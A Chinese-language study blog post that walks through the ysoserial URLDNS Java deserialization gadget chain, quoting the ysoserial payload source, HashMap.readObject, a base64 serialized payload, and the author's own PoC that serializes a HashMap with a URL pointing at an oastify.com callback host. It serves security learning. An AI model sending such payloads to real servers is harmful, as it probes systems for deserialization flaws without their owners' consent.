通过 ysoserial 项目来学习一下 URLDNS 的 Gadget
ysoserial 源码
来看看 URLDNS 链的 POC 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
package ysoserial.payloads;
...
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
|
原理在注释里也简单描述了,可得知这条链子的触发主要依靠HashMap
类
注释中明确说明了"During the put above, the URL’s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.",是hashCode的计算操作触发了DNS请求
Gadget分析
直奔HashMap
的readObject
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
|
可以看到最后一行中的hash(key)
,用hashMap的键名计算了hash,在此处下断点准备调试
测试代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
package test;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
public class TestClass {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Base64.Decoder decoder = Base64.getDecoder();
//str为ysoserial生成的base64编码后的payload
String str = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVz" +
"aG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFz" +
"aENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgAD" +
"TAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALDdsdHBn" +
"bW52aXQ3OTFhOTFvZm05aGxocHlnNDdzNGd0Lm9hc3RpZnkuY29tdAAAcQB+AAV0AARodHRwcHh0" +
"ADNodHRwOi8vN2x0cGdtbnZpdDc5MWE5MW9mbTlobGhweWc0N3M0Z3Qub2FzdGlmeS5jb214";
byte[] decode = decoder.decode(str);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode));
ois.readObject();
}
}
|

可以看到hashMap
的key就是url,跟进hash
函数

可以看到这里的key是URL
类,且基类是Object
,所以来URL类里看hashCode
的重写方法,或者直接跟进

这里会先判断key的hashCode
的值(也就是URL类的hashCode
值),当值为-1
时,会重新计算其hashCode
的值,会调用handler的hashCode
方法,而这个handler是URLStreamHandler
类的对象

跟进handler的hashCode

最终在URLStreamHandler
类的hashCode
方法中对我们payload中传入的url进行了getHostAddress
操作,这里会触发DNS查询,再往下就是具体的实现,至此就不用再跟进了
接着在反连平台就能看到这次请求

整个URLDNS的Gadget:
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
构造条件
需要初始化一个java.net.URL
对象,其中写入反连平台的url地址,将其作为key放入java.util.HashMap
中,而且需要通过反射将key的hashCode
的值修改为-1
,如此一来URL
类就会重新计算hashCode
的值,才会触发handler的hashCode
方法,从而触发DNS请求
自己写的poc如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> map = new HashMap<URL, Integer>();
URL url = new URL("http://juh1pyw7r5glamidxrvlqxq17sdj1bp0.oastify.com");
map.put(url,1);
Class<? extends URL> aClass = url.getClass();
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, -1);
Base64.Encoder encoder = Base64.getEncoder();
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(bout);
oout.writeObject(map);
System.out.println(encoder.encodeToString(bout.toByteArray()));;
}
}
|
但由于生成payload时,put
方法也会对key调用hash
方法,因此也会触发一次DNS请求,所以ysoserial在生成时重写了一个URLStreamHandler
方法,虽然不是必须的,但更加优雅
参考
su18:Java 反序列化漏洞(一) - 前置知识 & URLDNS
Lzer0kx01:java安全入门学习之urldns链